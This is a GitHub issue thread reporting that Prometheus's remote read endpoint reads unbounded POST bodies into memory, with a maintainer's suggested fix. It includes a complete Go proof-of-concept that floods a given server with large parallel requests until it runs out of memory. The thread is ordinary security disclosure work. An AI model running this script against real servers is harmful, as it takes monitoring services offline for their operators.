Remote read endpoint should limit the size of the HTTP Post data it reads

[aead]

Bug Report

What did you do?
I'm able to kill a prometheus server. I've read the Prometheus security model and I can violate:

It is more likely that a component will be accidentally taken out by a trusted user than by malicious action.

So I reached out on twitter to ask how to report a security issue for Prometheus but got no response.

I did not disclose details since I don't know how the disclosure policy looks like - I can disclose the vulnerability in this issue if you want to.

What did you expect to see?
I should not be able to kill a prometheus server the way I can at the moment.

What did you see instead? Under which circumstances?
I can kill (arbitrary) prometheus servers (AFAICT).

• Prometheus version:

prometheus version 2.2.1 (locally verified)

Older versions are affected too and I think the latest version 2.3.0 as well (but I haven't verified this)

[brian-brazil]

Thanks for reporting. If it's causing the server to segfault or get overloaded you can share it here, if it's something more severe or you'd prefer not to you can email it to me at the address on my github profile.

[aead]

Okay, so it's "just" an overload/OoM issue:
The root cause is L-33 where the server reads the entire body of a POST request against /api/v1/read into memory. So given an available Prometheus endpoint you can directly write as much data to the server RAM as you want - until the server runs OoM. AFAIK this API is available by default and can be accessed by anyone who can reach the server as long as no other authentication mechanisms are in place.

One option to fix this would be to limit the size of the request body (and make the limit configurable if needed) such that a remote "client" cannot sent arbitrary amounts of data to the server RAM.

[aead]

A (very simple) proof-of-concept:

package main

import (
	"flag"
	"fmt"
	"io"
	"log"
	"net/http"
)

var (
	n int
	s int64
	v bool
)

func init() {
	flag.IntVar(&n, "n", 1, "The number of parallel requests")
	flag.Int64Var(&s, "s", 16, "The size of each request body in MB")
	flag.BoolVar(&v, "v", false, "Verbose output")
}

func main() {
	flag.Parse()

	args := flag.Args()
	if len(args) == 0 {
		log.Fatalln("Missing prometheus endpoint")
	}
	if len(args) > 1 {
		log.Fatalln("Unknown arguments:", args[1:])
	}
	results := make(chan int64, n)
	for i := 0; i < n; i++ {
		go func(i int) {
			r := new(reader)
			defer func() { results <- int64(*r) }()

			req, err := http.NewRequest("POST", args[0]+"/api/v1/read", io.LimitReader(r, s*1024*1024))
			if err != nil {
				log.Fatalf("Failed to create the HTTP request: %s\n", err)
			}
			_, err = http.DefaultClient.Do(req)
			if err != nil {
				log.Fatalf("Failed to send the HTTP request: %s\n", err)
			}
			if v {
				fmt.Printf("Request %d: Written %d MB to the server\n", i, int64(*r)/(1024*1024))
			}
		}(i)
	}
	var written int64
	for n > 0 {
		written += <-results
		n--
	}
	fmt.Printf("\nWritten %d MB in total to the server\n", written/(1024*1024))
}

type reader int64

func (r *reader) Read(p []byte) (int, error) {
	*r += reader(len(p))
	return len(p), nil
}

[brian-brazil]

This looks to be possible or equivalent in a few places, Go for example will use 32MB for POST data and then start spilling to disk. For this particular one a hardcoded limit should be fine.

[lock]

This thread has been automatically locked since there has not been any recent activity after it was closed. Please open a new issue for related bugs.